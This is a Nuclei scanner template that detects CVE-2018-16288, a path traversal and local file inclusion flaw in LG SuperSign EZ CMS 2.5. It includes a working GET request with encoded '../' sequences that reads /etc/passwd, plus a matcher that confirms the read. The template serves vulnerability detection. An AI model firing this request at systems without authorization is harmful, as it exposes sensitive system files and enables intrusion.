id: CVE-2018-16288

info:
  name: LG SuperSign EZ CMS 2.5 - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    LG SuperSign CMS 2.5 allows reading of arbitrary files via signEzUI/playlist/edit/upload/..%2f URIs - aka local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of LG SuperSign EZ CMS.
  reference:
    - https://www.exploit-db.com/exploits/45440
    - http://mamaquieroserpentester.blogspot.com/2018/09/multiple-vulnerabilities-in-lg.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16288
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2018-16288
    cwe-id: CWE-200
    epss-score: 0.62704
    epss-percentile: 0.98398
    cpe: cpe:2.3:a:lg:supersign_cms:2.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lg
    product: supersign_cms
  tags: cve,cve2018,lfi,supersign,edb,lg,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c86c1a1f2b486fb3cec7e1245d6958f98073ad153ee586d12c31d64d32ec1cbf02207ea11777ee7ac6b59b3dbf16902867916c016550c1ebaa3604159b4f49fedcb2:922c64590222798bb761d5b6d8e72950